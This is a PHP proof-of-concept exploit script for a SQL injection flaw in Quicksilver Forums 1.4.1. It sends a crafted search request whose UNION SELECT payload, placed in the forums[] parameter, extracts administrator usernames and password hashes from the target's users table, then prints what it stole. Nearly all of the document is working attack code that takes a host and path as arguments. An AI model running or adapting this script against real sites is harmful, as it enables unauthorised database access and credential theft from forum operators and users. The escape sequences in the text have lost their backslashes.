/*
. vuln.: Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploit
. download: http://www.quicksilverforums.com/
.
. author: irk4z[at]yahoo.pl
. homepage: http://irk4z.wordpress.com/
.
. greets: all friends ;)
.
. this is PoC exploit
*/
$host = $argv[1];
$path = $argv[2];
$prefix = "qsf_"; // this is default prefix
echo
".n. Quicksilver Forums 1.4.1 (forums[]) Remote SQL Injection Exploitn.n".
". author: irk4z[at]yahoo.pln".
". homepage: http://irk4z.wordpress.com/n".
".n".
". usage: php ".$argv[0]." host pathn".
". php ".$argv[0]." localhost /nn";
if(empty($host)||empty($path))die('# wrong host or path..');
$post_data = "query=I-like-it&forums[]=2)/**/limit/**/0/**/UNION/**/SELECT/**/1,1,concat(0x5b3a213a5d,user_name,0x3A,user_password,0x5b3a213a5d),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/".$prefix."users/**/WHERE/**/user_group=1/*&searchtype=match&member_text=&member_select=exact&showposts_check=on&limit_check=on&limit_chars=400&time_check=on&time_way_select=newer&time_select=31&submit=Search";
$data = "POST ".$path."index.php?a=search HTTP/1.1rn";
$data .= "Host: ".$host."rn";
$data .= "Content-Type: application/x-www-form-urlencodedrn";
$data .= "Content-length: ".strlen($post_data)."rn";
$data .= "Connection: Closern";
$data .= "rn";
$data .= $post_data."rnrn";
$s = @fsockopen($host, 80);
if (empty($s)) die('# wrong host..');
fputs($s, $data); $retu ='';
while(!feof($s)){
$retu .= fgets($s);
}
fclose($s);
$tmp = explode('[:!:]',$retu);
if(empty($tmp[1]))die('sorry, exploit failed.. maybe try again in a few seconds..');
echo " " . $tmp[1] . "nndone.";
?>